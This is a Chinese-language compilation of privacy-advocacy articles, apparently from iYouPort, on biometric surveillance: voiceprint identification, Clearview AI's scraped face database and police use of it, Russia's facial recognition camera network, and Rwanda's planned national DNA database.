就算你感冒了，嗓子哑了，从远处打来电话，你的熟人也能知道“是你”嗓子哑了，而不是别人；你的家人在听到一个字“喂”后就知道那是你打来的电话，而不是别人。这就是声音的特殊性，人类早已以此作为识别同胞的关键信息，而现在，这一识别权已经被掌握在政府情报机构和警方的手里，那些有权因为你的一句话就把你扔进监狱的人。

虽然目前计算机还做不到通过一个字就判断出人的身份，但是利用大量的训练语音数据，系统可以学习到智能的“声纹”大脑，在你说出 **8–10** 个字的情况下可以判断你的身份，或者在你说**1**分钟以上的话后，就可以准确地判断出你的真实身份。这里面其实包含了大部分生物识别系统都适用的重要概念：1:1 和 1:N，同时也包含了只有在声纹识别技术中存在的独特的概念：内容相关和内容无关。

对于声纹识别系统而言，如果从用户所说语音内容的角度出发，则可以分为内容相关和内容无关两大类技术：“内容相关”就是指系统假定用户只说系统提示内容或者小范围内允许的内容，而“内容无关”则并不限定用户所说内容。前者只需要识别系统能够在较小的范围内处理不同用户之间的声音特性的差异就可以，由于内容大致类似，只需要考虑声音本身的差异，难度相对较小；而后者由于不限定内容，识别系统不仅需要考虑用户声音之间的特定差异，还需要处理内容不同而引起的语音差异，难度较大。

目前有一种介于两者之间的技术，可以称之为“有限内容相关”，系统会随机搭配一些数字或符号，用户需正确念出对应的内容才可识别声纹，这种随机性的引入使得文本相关识别中每一次采集到的声纹都有内容时序上的差异，这种特性正好与互联网上广泛存在的短随机数字串（如数字验证码）相契合，可以用来校验身份，或者和其他人脸等生物特征结合起来组成多因子认证手段。

隐私保护组织 Big Brother Watch 揭示，自去年年初以来已经有 510 万名拨打热线电话的用户不得不说出’我的声音是我的密码’这句话。这里使用的就是“有限内容相关”。

声纹识别算法的技术细节

在特征层面，经典的梅尔倒谱系数 MFCC，感知线性预测系数 PLP、深度特征 Deep Feature、以及能量规整谱系数 PNCC 等，都可以作为

优秀的声学特征用于模型学习的输入，但使用最多的还是 MFCC 特征，也可以将多种特征在特征层面或者模型层面进行组合使用。在机器学习模型层面，目前还是 N.Dehak 在 2009 年提出的 iVector 框架一统天下，虽然在深度学习大红大紫的今天，声纹领域也难免被影响，在传统的 UBM-iVector 框架下衍化出了 DNN-iVector，也仅仅是使用 DNN（或者 BN）提取特征代替 MFCC 或者作为 MFCC 的补充，后端学习框架依然是 iVector。

下面是一个完整的声纹识别系统的训练和测试流程，可以看到在其中 iVector 模型的训练以及随后的信道补偿模型训练是最重要的环节。在特征阶段，可以使用 BottleNeck 特征取代或者补充 MFCC 特征，输入到 iVector 框架中训练模型。

这就是覆盖全球的声音识别数据库为什么可怕。

如果你的电话通话被窃听，就算你使用的是不是自己的手机、手机卡没有实名认证、或者干脆拨打的是公共电话，窃听者也能准确识别你的身份；就算你化名接受采访，只要记者保留了采访录音，掌握那个 SiiP 数据库的人只要拿到这一录音的人都能认出接受采访的人是谁；如果你通过加密应用使用音频和朋友交流一件非常重要的事，就算你没有使用手机号注册、没有使用真实姓名做 ID，没有用私人照片做头像，掌握那个 SiiP 数据库的人只要可以入侵对话双方某一方的设备，就可以识别对方是谁。（例如 入侵 WhatsApp 的方法）

⚠ 再次提醒：任何关键对话内容，切勿使用语音通讯。〇

原文

只要一张照片，陌生人就可以找到您的一切私密信息 - iyouport

公私监控伙伴关系生物识别-眼下最严重的威胁，以及怎么办

【2020年7月17日存档】一个鲜为人知的初创企业正在帮助警察将陌生人的照片与他们的在线图像进行匹配，它已经彻底终结了公开场合的匿名性 …… 这篇报道中出现了很多有趣的细节，仔细看

直到最近，Hoan Ton-That 的 iPhone 游戏可以让人们将特朗普独特的黄色头发放在自己的照片上，仍然不那么起眼。

然后，Ton-That 先生（这位澳大利亚技术员和曾经的模特）做了一件大事：他发明了一种工具，可以终结街头任何人的匿名性，并将该工具提供给了数百个执法机构，从佛罗里达州的当地警察到联邦调查局、还有国土安全部。

他的小公司 Clearview AI 设计了一款突破性的面部识别应用程序。该应用程序可以允许您上传任何想要的人的照片，然后你就可以看到该人的所有公开照片、以及指向这些照片出现在哪里的链接。

该系统的骨干是一个数据库，其中包含 Clearview 声称从 Facebook、YouTube、Venmo 和数百万其他网站中抓取的30亿张图像，它远远超出了美国政府或硅谷巨头建造的任何数据库。

联邦和州执法人员说，尽管他们对 Clearview 的工作原理以及背后的人知之甚少，但他们还是使用该公司创建的应用程序来帮助抓人。

到目前为止，由于其对隐私的彻底剥夺，可以轻易根据任何人面部识别每个人的技术一直是禁忌。有能力发布此类工具的技术公司还没有这样做。 包括旧金山在内的一些大城市已经禁止警察使用面部识别技术。

但该公司表示，在没有经过公众审查的情况下，去年有600多家执法

机构已经开始使用 **Clearview**。

纽约时报分析了该应用程序代码，其中包括将其与增强现实眼镜搭配使用的编程语言。也就是说用户将有可能识别出他们看到的每个人。

从参加抗议活动的所有人、到地铁上的陌生人，该应用程序能识别几乎一切 —— ⚠不仅揭示目标人的姓名，而且还揭示他们的住所、他们的一举一动、和认识的其他人。

这种监视工具不仅被卖给了警察，Clearview 还将其许可给了多家公司。

“这种监视工具被武器化的可能性无穷无尽，” 圣塔克拉拉大学高科技法律研究所联合主任 Eric Goldman 说。

Clearview 一直保密，避免对其推动技术的争论。当记者11月份开始调查该公司时，其网站上只有一个空白页面，显示不存在曼哈顿的营业地点。

该公司在 LinkedIn 上列出的一名员工，名为 “ John Good ”的销售经理，实际上就是 Ton-That 本人，他用了一个假名。一个月以来，与该公司有关联的人都没有回复记者的电子邮件或电话。

在公司躲避记者的同时，它也在监视记者。应记者的要求，许多警察已通过 Clearview 应用程序搜索了这位记者的照片。但他们很快接到该公司代表打来的电话，询问他们是否在与媒体对话。这表明 **Clearview** 有能力也有意愿监视警察都搜索了什么人。

面部识别技术一直存在争议，人们对这种老大哥格外紧张。它倾向于为某些群体提供错误的匹配，例如有色人种；而且，一些警察使用的面部识别产品（包括 Clearview 的产品）尚未得到独立专家的审核。

Clearview 的应用程序带来了额外的风险，因为执法机构将敏感照片上传到该公司的服务器上，这些公司的数据保护能力未经测试。

该公司最终开始回答了记者的问题，称其较早的沉默是 “在隐身模式下进行早期启动的典型表现”。

Ton-That 先生承认设计了用于增强现实眼镜的原型，但表示该公司没有计划发布它。他说，记者的照片敲响了警钟，因为该应用程序 “标记了可能的异常搜索行为”，以防止用户进行其认为 “不适当的搜索”。

除 Ton-That 外，Clearview 的另一位联合创始人是 **Richard Schwartz**（他曾经是前纽约市市长 **Rudolph W. Giuliani** 的助手），并得到了 **Facebook** 和 **Palantir** 背后的风险投资家 **Peter Thiel** 的财政支持。

另一个早期投资者是一家名为 Kirenaga Partners 的小型公司。它的创始人 David Scalzo 消除了对 Clearview 使人脸可搜索的担忧，称它是 “解决犯罪的宝贵工具”。

Scalzo 说：“我得出的结论是，由于信息不断增加，因此永远不会有隐私。” [？？？？？]“法律必须确定什么是合法的，但您不能禁止监视技术。当然，这可能会导致反乌托邦的未来或其他事物，但您不能禁止它。” 真能扯蛋。Hoan Ton-That, founder of Clearview AI, whose app matches faces to images it collects from across the internet.Credit…Amr Alfiky for The New York Times

沉迷于AI

「图」

31岁的 Ton-That 距离硅谷很远。在他的祖国澳大利亚，他是在越南的皇室祖先的故事中长大的。2007年，他辍学，搬到了旧金山。他的目标是尽早进入他期望的充满活力的社交媒体应用程序市场。但是他的早期冒险从未获得真正的吸引力。

2009年，Ton-That 创建了一个网站，使人们可以与即时通讯工具中的所有联系人共享视频链接。在被冠以 “网络钓鱼骗局” 后该网站被关闭。

2015年，他开始鼓捣特朗普的头发，在照片共享应用程序中让用户可以把特朗普的头发添加到自己的照片上。两个创业都失败了。

Ton-That 沮丧不已，于2016年移居纽约。他说，他考虑过从事模特职业，但是经过一番拍摄之后，他又回过头去重新尝试找出科技领域的下一件大事。

他开始阅读有关人工智能、图像识别和机器学习的学术论文。

Schwartz 和 Ton-That 于2016年在曼哈顿研究所（一个保守派智囊团）举行的读书会上相识。

Schwartz 现年61岁，在1990年代为前市长 Giuliani 工作时积累了令人印象深刻的人脉资源，并在2000年代初担任《纽约每日新闻》的社论版编辑。

两人很快决定一起从事面部识别业务：Ton-That 将创建该应用程序，而 Schwartz 负责使用他广泛的人脉资源来激发市场的兴趣。

警察部门使用面部识别工具已有近20年的历史了，但是从历史上看，他们只能搜索政府数据库里提供的图像，例如证件大头照和驾照。

近年来，面部识别算法的准确性有所提高，亚马逊等公司提供的产品可以为任何图像数据库创建面部识别程序。

Ton-That 想超越这一范围。他从2016年开始招募了一些工程师。一个人帮助设计了一个程序，该程序可以自动收集整个互联网上的人脸图像，例如 就业网站、新闻网站、教育网站、以及社交网络，包括 Facebook，YouTube，Twitter，Instagram 甚至 Venmo。这些公司的代表表示，他们的政策禁止这种抓取行为，Twitter 说，它明确禁止使用其数据进行面部识别。

他雇用的另一名工程师负责完善源自学术论文的面部识别算法。

结果是：一个系统诞生了，使用的是 Ton-That 所说的 “最先进的神经网络”，可以根据面部几何形状将所有图像转换为数学公式或向量，例如人的眼间距。Clearview 创建了一个庞大的目录，将具有相似矢量的所有照片聚集在一起。

当用户将一张头像的照片上传到 Clearview 的系统中时，它就会将照片中的面部转换为向量，然后显示它附近存储的所有抓取到的其他照片 —— 以及指向这些图片来源网站的链接。

Schwartz 支付了服务器成本和基本费用，但不包括操作。每个人都在家工作。Ton-That 说：“我靠信用卡欠债生活。此外，我是比特币信徒，所以我存了一些比特币。”Mr. Ton-That showing the results of a search for a photo of himself.Credit…Amr Alfiky for The New York Times

警察最喜欢这种东西

「图」

到2017年底，该公司拥有了一个强大的面部识别工具，就是 Smartcheckr。但是 Schwartz 和 Ton-Ton 不确定他们会把它卖给谁。

也许可以用来装在家里审查保姆的工作，或作为监视摄像机的附加功能；或者用于建筑物大厅的保安人员或帮助酒店按客人的名字打招呼？ Ton-That 说："我们想到了每个主意。"

据称，2017年底，最怪异的推销活动之一是 Paul Nehlen，他是一名反犹主义者且自称为 **"pro-white"** 的共和党人，在威斯康星州竞选国会议员，将 "非常规数据库" 用于所谓的 "极端异议研究"。提供给 Nehlen 的文件后来在网上发布。 Ton-That 说，该公司从未提供过此类服务。

该公司很快将其名称更改为 Clearview AI，并开始向执法部门推广。

那是该公司从外部投资者 Thiel 先生和 Kirenaga Partners 获得第一轮资金的时候。

Thiel 尤其以秘密资助绿巨人霍根的诉讼而闻名，该诉讼使颇受欢迎的网站 Gawker 破产。Thiel 和 Ton-That 都是 Gawker 的负面文章的主题。

Thiel 的发言人 Jeremiah Hall 说："2017年，Peter 给了一位才华横溢的年轻创始人20万美元，两年后又转换为 Clearview AI 的股权。" "那是 Peter 唯一的贡献；他没有参与公司。"

根据追踪初创企业投资的网站 Pitchbook 的数据，即使在2019年进行了第二轮融资后，Clearview 仍然很小，已经从投资者那里筹集了700万美元。该公司拒绝确认金额。

2月，印第安纳州警察开始对 Clearview 进行试验。他们在使用该应用程序后的20分钟内就解决了一个案例。两名男子在公园打架，其中一个人对另一个人开枪。一名旁观者用手机记录了这一罪行，因此警察可以通过 Clearview 的应用程序对持枪者的脸进行了搜索。

这名男子出现在某人在社交媒体上发布的视频中，而他的名字也包含在该视频的标题中。

当时，印第安纳州警察队长 Chuck Cohen 说："他没有驾驶执照，没有被捕记录，因此他不在政府数据库中。"

也就是说，不在政府数据库中的人脸依旧可以被警察搜索到，使用的是社交媒体情报。

该名男子被捕并被指控。Cohen 说，如果警方没有搜索社交媒体上出现的面孔的能力，他可能不会被认出。

据该公司称，印第安纳州警察成为 Clearview 的第一个付费客户。（警方拒绝发表评论，只说他们测试了 Clearview 的应用。）

Clearview 派遣了现任和前任共和党官员来接近警察部队，他们提供免费试用和年度许可证，价格低至2,000美元。

Ton-That 说，Schwartz 先生利用他的政治人脉帮助政府官员意识到这一工具的价值。（“我很高兴能有机会帮助 Hoan 将 Clearview 打造成一个以任务为导向的组织，该组织将帮助执法部门保护儿童并增强全国各地社区的安全，” Schwartz 通过发言人说。）

该公司主要为客户服务的联系人是 Jessica Medeiros Garrison，他负责 Luther Strange 的共和党竞选活动，为阿拉巴马州总检察长服务。（Clearview 表示，这是一个简短的、无偿的职位，该公司还邀请民主党人帮助其产品销售。）A chart from marketing materials that Clearview provided to law enforcement.t Clearview

该公司和警察部门提供的文件显示，该公司最有效的销售技术是为警方提供30天的免费试用，然后鼓励其采购部门在会议和在线上向其他警察部门赞扬该工具。

7月，新泽西州克利夫顿的一名侦探敦促其队长购买该软件， 称因为该软件 “可以在几秒钟内识别出犯罪嫌疑人。”

这名侦探在电子邮件中写道：“照片可以通过远距离摄镜头秘密拍摄并输入到该软件中，而不必 ‘消耗’ 监视操作。” 这封电子邮件由两名研究人员 MuckRock 的 Beryl Lipton 和 Open the Government 的 Freddy Martinez 提供。 去年年底，他们在调查当地警察部门如何使用面部识别时发现了 Clearview。

据时报审阅的 Clearview 销售演示，该应用程序有助于确定一系列情况下的个人：被指控对一个孩子的性虐待，目标脸部出现在其他人拍摄的健身房照片的镜子中；亚特兰大发生的一系列邮箱盗窃案背后的人；在阿拉巴马州的人行道上被发现的死者 John Doe；以及银行多个身份欺诈案件中的嫌疑人。Detective Sgt. Nick Ferrara in

Gainesville, Fla., said he had used Clearview's app to identify dozens of suspects. Charlotte Kesl for The New York Times

Nick Ferrara 去年夏天在 Clearview 上做广告时就听说过 Clearview，该网站是专门研究金融犯罪的。他说，他以前仅依靠国家提供的面部识别工具 FACES。

他说 Clearview 的应用程序优越。它的全国性图像数据库要大得多，而且与 FACES 不同，**Clearview** 的算法不需要目标人直接注视相机。

他说："借助 **Clearview**，您可以使用不完美的照片。一个人可以戴着帽子或眼镜，也可以是网络账户头像或面部局部视图。都可以被找到身份"。

他将自己的照片上传到该系统中，并打开了 Venmo 页面。他重启了老旧的被搁置的案件，并通过该软件确定了30多名犯罪嫌疑人。 9月，盖恩斯维尔警察局支付了10,000美元，以获得年度 Clearview 许可证。

联邦执法机构，包括FBI和国土安全部、还有加拿大执法部门，都在使用这种监视软件，据该公司和政府官员说。

尽管 Clearview 越来越受欢迎，但一直没有公开提及，直到2019年底，佛罗里达州检察官以盗窃罪指控一名妇女在 Clermont 的 Ace Hardware 商店偷走了两个烤架和一个吸尘器后。

当警察通过 Clearview 的监视录像进行搜索时他们找到了这名妇女，该监视工具将警察带到这位女士的 **Facebook** 页面。是监视视频和 **Facebook** 照片中可见的纹身确认了她的身份。

- 《掌纹、疤痕、纹身、物理标记、声音 ……一切都用来跟踪你》

'我们都完蛋了'

「图」

Ton-That 说，该工具并不总是有效。 Clearview 数据库中的大多数照片都是在眼睛的高度拍摄的。警方上传的大部分材料来自安装在天花板或墙壁上方的监控摄像机。

☞Ton-That 感叹道：“他们将监控摄像机的位置设置得太高了。对于正确的面部识别角度来说这是错误的。”

该公司表示，尽管如此，其工具最多仍然可以在75%的时间内找到匹配项。但目前尚不清楚该工具多久发送一次错误匹配，因为该工具尚未经过独立机构（如美国国家标准技术研究院）的测试，该机构对面部识别算法的性能进行了评级。

乔治敦大学隐私与技术中心的研究人员 Clare Garvie 说：“我们没有数据表明该工具是准确的。”他研究了政府对面部识别技术的使用情况，“数据库越大，由于撞脸效应，导致误识别的风险就越大。他们谈论的是他们在互联网上找到的庞大的随机人数据库。”

但是现任和前任执法人员均表示该应用程序有效。“对我们来说，测试就是要确认是不是奏效，”前印第安纳州警察局局长 Cohen 说。

Clearview 流行的原因之一是其服务相对独特。那是因为 Facebook 和其他社交媒体网站禁止人们抓取用户的图片 —— Clearview 违反了这些网站的服务条款。

Ton-That 耸耸肩：“很多人都在这样做。**Facebook** 知道。”

Clearview 投资者 **Thiel** 先生就是 **Facebook** 董事会的成员。Nancarrow 拒绝评论 Thiel 先生的个人投资。

一些执法人员说，他们不知道上传的照片已发送到并存储在 Clearview 的服务器上。Clearview 尝试通过常见问题解答（F.A.Q.）提供给潜在客户的文件中写道其客户支持员工不会查看警察上传的照片。Clearview’s marketing materials, obtained through a public-records request in Atlanta.

Clearview 还聘请了乔治·**W**·布什总统领导的美国总检察长 **Paul D. Clement**，以缓解对该应用程序合法性的担忧。

在8月 Clearview 向包括亚特兰大警察局和佛罗里达州 Pinellas 县警长办公室在内的潜在客户提供的备忘录中，Clement 说，执法机构“在使用 Clearview 时不违反联邦宪法或相关的生物识别和隐私法，也能达到预期的目的。”

Clement 现在是 Kirkland＆Ellis 的合伙人，他写道，只要不是获得逮捕令逮捕他们的唯一依据，当局就不必告诉被告他们已通过 Clearview 被识别。Clement 没有回应多次置评请求。

该备忘录似乎很有效。亚特兰大警察和皮涅拉斯县警长办公室很快开始使用 Clearview。

由于警察上传了他们试图识别的人的照片，因此 Clearview 拥有越来越多的个人脸部数据，这些数据库引起了执法部门的关注。

该公司还可以操纵警方看到的结果。

该公司意识到记者要警官通过该应用程序搜索记者的照片后，这位记者的脸被 Clearview 的系统标记，有一段时间没有显示匹配。当被问到这个问题时，Ton-That 笑了起来，称其为 “软件 bug”。

“他们正在做的事令人毛骨悚然，但是这类公司将会变得更多。斯坦福大学法学院的隐私教授 Al Gidari 说，“由于没有非常严格的联邦隐私法，我们全完蛋了。”

Ton-That 说，他的公司仅使用公开可用的图片。他说，如果您在 Facebook 中更改了隐私设置，以使搜索引擎无法链接到您的个人资料，那么您的 Facebook 照片将不会包含在数据库中。

- 《你曾经在社交网络上发布过自己的照片？你危险了！》

但是，如果您的个人资料已经被抓取，那就为时已晚了。该公司将保留所有已刮取的图像，即使以后将其删除或隐藏也没有用了。

波士顿东北大学法律与计算机科学教授 Woodrow Hartzog 将 Clearview 视为美国应禁止面部识别的最新证据。

他说，“我们依靠行业的努力来实现自警，不采用如此冒险的技术，但是现在这些大坝正在破裂，因为该技术的利润太高了。阻止它的唯一方法就是禁止它。”

每个人都知道你名字的世界

「图」

Ton-That 最近在 Clearview 公司位于曼哈顿的办公室接受采访时，亲自演示了该应用程序。他自拍并上传了照片。该应用程序提取了他的23张照片。

然后，Ton-That 使用该应用拍了这位记者的照片。 所谓的 “软件 bug” 已得到修复，⚠现在记者的照片返回了许多结果，甚至可追溯到

十年前，其中包括记者自己都从未见过的自己的照片。

当记者用手遮住鼻子和脸颊时，该应用程序仍然返回了7个正确的匹配项。

警察和 Clearview 的投资者预测，其应用最终将向公众开放。

Ton-That 说他不愿意向公众公开。他说：“总会有一群滥用它的坏人。”

即使 Clearview 并未公开发布其应用，但由于这种禁忌已经被打破，因此模仿公司还将继续出现。通过脸孔搜索某人可能会变得像谷歌搜索名字一样容易。

⚠陌生人将能够收听敏感的对话，为任何目标人拍照并了解个人的秘密。沿着街道行走的人将立即被识别出真实身份 —— 只需单击几下即可获得他或她的家庭住址。这将预示着公开场合匿名的彻底终结。○

The Secretive Company That Might End Privacy as We Know It

原文

哪个国家正在建立全世界最大的面部识别网络之一？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年5月19日存档】是的，比中国和美国的还要更大。他们之间是竞争关系，但却有着神奇的共性……

2018年8月的一个晚上，年仅21岁的 Mikhail Aksel 踏上了莫斯科地铁 Sportivnaya 车站壮丽的大理石台阶。

Aksel 是公民运动组织 “另一个俄罗斯” 的资深活动家，这是一个与著名作家流亡作家 Eduard Limonov 有联系的小规模但华丽的反对党，他们对与警察发生冲突并不陌生。

但即便如此，当警察把他带到派出所并要求查看他的证件时，Aksel 仍感到惊讶。他被告知，该站的安全系统已将他识别为 “通缉犯”。

当 Aksel 对此表示抗议说他没有做错任何事时，他被送到派出所的警察办公室，那里有一个大屏幕 —— 上面显示了他的个人资料，其中详细列出了他的姓名、出生日期和住址。

- “一整面墙上布满了显示器。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐”……《隐身游戏：如何在监视遍地的社会里让自己完全消失》

个人资料中显示没有案件编号、没有调查人员、也没有指控。唯一提供的其他信息是，内务部 “打击极端主义中心” 的一名官员已将 Aksel 的名字添加到了系统的数据库中。

- 把公民活动家标记为 “极端主义分子” 可不是俄罗斯的专利，见《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

Aksel 回忆说："警察告诉他，看，如果只是行政逮捕，你的详细信息将在此处显示为灰色。但是在这里，已经以红色突出显示，并带有警告提示"。不过一个匆忙的电话后，Aksel 被释放了。

就这样 Mikhail Aksel 偶然发现了俄罗斯正在酝酿的面部识别监控系统，这是一个由AI连接的摄像头网络，预计很快将成为全世界最大的监视摄像头网络之一。

Aksel 被逮捕的那个地铁站 Sportivnaya 通向莫斯科的旗舰卢日尼基（Luzhniki）体育场。在2018年FIFA世界杯前夕，该站成为俄罗斯在全国范围内推出人脸识别技术的原爆点。

- 普京曾经说，"成为 AI 领域领导者的人将成为整个世界的统治者。" 俄罗斯在此是怎么做的？为什么与北京如此相似？《北京模式》

在世界杯期间，从繁华的莫斯科和圣彼得堡到萨兰斯克（人口：320,000）的11个主办城市的体育场内及周围，都使用了神经网络图像处理技术来识别、跟踪、并将任何可疑人与黑名单相比较 。

据报道，在通过面部识别算法识别出超过180名规则破坏者后，他们被逐出世界杯比赛看台。

甚至在世界杯结束粉丝离开后，该监视技术系统仍然悄悄地保留在原地。实际上，世界杯开始了俄罗斯对面部识别监视技术的大量投资。

2018年，莫斯科地铁宣布对面部识别摄像头进行试验，以监视火车和车站上的乘客。

到**2020**年，这项技术将更加深入，可以识别出进入地铁的任何乘客，并在输出车票之前直接从其银行账户中扣款。

在地铁站外，途径首都主要火车站和多莫杰多沃国际机场的任何莫斯科人已经在神经网络的监视之下。

根据俄罗斯中央银行2018年宣布的一项计划，面部识别软件将控制消费者在全国范围内对银行分支机构、在线银行和政府服务的访问权限，例如 税收处理、社保付款和护照续签。

同时，该国自己的面部识别监控摄像头网络正在迅速发展。面部识别试验于2017年在莫斯科开始。

不到两年后，市政府认为该实验成功了，声称已抓获了200多名通缉犯。2019年5月，莫斯科宣布招标，在全市多达 200,000 个监控摄像头中安装面部识别软件，到2019年底将连接 105,000 个。

综上所述，这将使俄罗斯成为全球公认的最大的面部识别摄像头网络之一。

根据一些预测，它甚至可能大于中国的**2**亿个摄像头系统。

驻莫斯科的中国独立观察家和技术分析师 Leonid Kovachich 说："不可能推测中国或俄罗斯的能力究竟谁更大。因为没有人真正知道中国实际上有多少台监视摄像机与面部识别技术相连。"

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

尽管俄罗斯对面部识别技术的关注远没有中国的监视体系结构引起的重视更多，但莫斯科处于充分利用大规模监视手段的主要位置。

俄罗斯在数学上有卓越的历史，苏联和俄罗斯的数学家被授予9次菲尔兹奖章，仅次于法国和美国。这种专业知识使俄罗斯成为拥有世界一流的本土人工智能和面部识别部门的极少数国家之一。

但是，俄罗斯在AI方面的成功也是国家对该领域感兴趣的产物。克里姆林宫多年来一直意识到该部门的潜在安全优势：早在**2011**年，莫斯科地铁就进行了面部识别技术的试验。

- 人脸识别技术最初是迪士尼主题公园用的，用来帮游客挑照片做纪念品。而在占领华尔街运动其间，这项技术已经被用来抓捕抗议者了。《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

自产AI

「图」

同时，克里姆林宫将整个人工智能领域确定为俄罗斯可以在某些国家援助下成功与外国竞争对手竞争的领域。

2017年，弗拉基米尔·普京（Vladimir Putin）告诉一群俄罗斯学生，成为世界AI领导者的国家将成为"世界的统治者"。

NIST在人脸识别算法的全球排名中被广泛认为是行业标准，⚠在前十名中有两家俄罗斯公司 —— **NTech Lab** 和 **VisionLabs** —— 是仅有的来自中国或美国以外的第三国，**VisionLabs** 经常与中国的 **DeepGlint** 竞争第一名。

这些公司之一，NTech Lab，曾经在全球享有盛名。

2016年，NTech Lab 发布了 FindFace 应用程序，这是一款面向消费者的面部识别服务，可从俄罗斯的 Facebook 等价物 VKontakte 中提取数据，并可以使用手机摄像头通过将其与 VKontakte 的**2**亿个人资料进行匹配来识别人脸。

在短暂的宣传风暴后，NTech 退出了 FindFace 的公共访问，并宣布将基础技术重定向到“安全和零售领域的全球项目”。

最近，NTech 与 VisionLabs 一起开始了各种私营面部识别监视项目。

俄罗斯的两家领先的面部识别公司 VisionLabs 和 NTech Lab 都获得了大型国有公司的帮助 —— 国有银行 Sberbank 在2017年购买了 VisionLabs 25%的股份，而 NTech 的12.5%的股份由俄罗斯国防部拥有的工业集团 Rostec 持有。

私人专业知识和国家慷慨投资的结合，在不受外国竞争对手（尤其是中国竞争对手）影响的情况下，培育并保护了俄罗斯面部识别程序的基础技术。

中国观察家 Leonid Kovachich 表示：“虽然其他前苏联国家（如乌兹别克斯坦和塔吉克斯坦）一直在购买完整的中国面部识别解决方案，而俄罗斯依靠中国提供硬件，但仅使用本地的算法和软件。他们倾向于认为，即便从国家安全的角度来看，购买外国硬件也不是什么威胁。”

未来的形状

「图」

但是，尽管俄罗斯有意限制中国在面部识别领域的影响力，但两个AI巨头之间还是有很多相似之处的。

在这两个国家中，欠发达的数据保护法律都意味着相关研究变得更加

容易，因为AI公司能够购买或挖掘大量数据来训练其算法。

在俄罗斯，VKontakte的隐私政策（比其他社交网络要宽松得多）为本地AI研究人员提供了大量的个人数据。就如中国的微信和微博。

- 《你曾经在社交网络上发布过自己的照片？你危险了！》

如今，随着俄罗斯继续升级其国内面部识别程序，一些人担心该系统可能会被用来制造那种在中国边境逐渐成型的监视设备。

“起初，莫斯科当局表示，这完全是为了公共安全 —— 寻找走失的孩子，抓捕危险的罪犯，诸如此类的事。但是现在，他们甚至都没有掩盖一下的意思 —— 他们想用它来追踪和识别抗议者”，莫斯科律师、RosKomSvoboda 的活动家 Sarkis Darbinyan 说，该组织致力于捍卫俄罗斯人在网络空间的权利。

在过去的几个月中，有关部门宣布了一项基于面部识别的新措施，以抵消夏天莫斯科市政选举期间爆发的大规模抗议活动。

- 《近1400人在莫斯科反对派抗议活动中被捕》

去年9月，在抗议活动最激烈的时候，莫斯科市政府下了一笔**400万美元的订单**，用于便携式面部识别相机系统，旨在将其部署在大型公共活动中，包括游行活动现场。

Rostec 负责人 Sergei Chemezov 表示，到2020年，这些摄像机将得到发给莫斯科警察的增强现实面部识别眼镜的支持。许多人认为，这些新技术将用于跟踪和识别 **未来的** 抗议者 —— 少数派报告的监视模式。

- 《中国的少数派报告技术又有了新发展》
- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本【Viedo】》

但是，正式批准使用该技术只是问题的一部分；滥用也很严重。

就在2017年，莫斯科警官工会负责人 Mikhail Pashkin 承认，两名市警察因滥用职权进入面部识别数据库而被解雇。

Darbinyan 表示，有权使用该系统的个别警察可能会滥用特权：“警

察的薪水很低，因此我敢肯定，个别警察会滥用该系统，向罪犯出售产品。”

为了响应当局对面部识别的越来越多的使用，RosKomSvoboda 正在争取在全国范围内暂停使用该技术，至少要等到“已提供使用的完全安全性和透明性” 之后。

除了游说立法者提出限制该技术使用的法案外，RosKomSvoboda 还支持著名的女权主义者维权人士 Alyona Popova 的诉讼，要求彻底禁止面部识别监控。

在俄罗斯的公共生活中，隐私仍然是低优先级的。对于大多数俄罗斯人而言，公民自由问题通常不会引起人们的强烈关注，人们经常将监视视为 “社会的正常和积极方面”。

根据来自俄罗斯独立民意测验机构 Levada Centre 的2019年数据，只有7%的俄罗斯人将限制公民自由和民主权利列为其主要关切之一，而担心价格上涨的人占据 59%。

- 但是俄罗斯的反抗者是非常努力的，而且很有经验，见《“在一个完美的世界里，我们是不会存在的“：俄罗斯海盗党和社运心电图》

“在苏联，没有隐私，集体农场中的每个人都知道其他人的生活。这种状况从未真正消失过。今天，我们仍在处理它”，Darbinyan 说。○

Russia is building one of the world’s largest facial recognition networks

原文

噩梦加深 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

大屠杀的第一步是什么？找到目标群体和个人，”找到”的第一步是什么？就是卢旺达正在发生的事。它发生了什么？

「图」

「图」

卢旺达提出了世界上第一个全国范围的DNA数据库，该项目将涉及从该国1200万公民中收集DNA样本。

该计划引起了人权人士的严重担忧，他们认为该数据库可能被政府滥用并违反国际人权法。

卢旺达司法部长兼司法部长 Johnston Busingye 宣布了该数据库的计划。

他在该国首都基加利说，该项目将“有助于打击强奸和谋杀等罪行”。

他补充说：“我想向您保证，最终目标是拥有所有必要的设备和技术知识，以提供关于谁应对犯罪负责的准确信息”。

据卢旺达日报“新时代报”报道，官员们仍然需要为该项目确定预算，并通过议会推动立法，以允许建立数据库。

人权组织对新计划持谨慎态度，因为他们认为政府可能会滥用DNA数据，这可能会揭示广泛的亲密医学和遗传细节。

慈善机构 Privacy International 的全球项目负责人 Alexandrine Pirlot de Corbion 表示：“这种数据库在未来可能会被误用，这是一种固有的风险。”

“在世界各地，我们已经看到大量数据被滥用于压制的情况—— 允许

当局识别和描述政府可能想要找到的任何社会群体。”

根据英国法律改革组织 Justice 的说法，从法律角度来看，保留这些数据本身也存在问题，并且根据其实施情况，可能会违反“国际人权法案”的规定。

在1994年种族灭绝事件发生后，卢旺达仍然遭受紧张局势，当时该国胡图族政治精英指挥大屠杀该国图西族人口后，在短短一百天内就杀死了**80**万卢旺达人。

据估计，该国图西人口的70%在种族灭绝中丧生。

虽然官员希望卢旺达成为第一个拥有全面 DNA 数据库的国家，该数据库记录了该国所有公民—— 其他几个国家也已经开始实施大规模的 DNA 数据库。

有人担心中国政府正在使用 DNA 测试来压迫该国主要的穆斯林维吾尔少数民族。

人权组织表示，中国已经在新疆建立了一个庞大的维吾尔族 DNA 数据库，未经近3600万人的同意收集了样本，假扮为免费体检计划的一部分。

2014年，中国研究人员发表了一篇论文，描述了如何使用 DNA 测试来区分维吾尔族与其他种族群体。

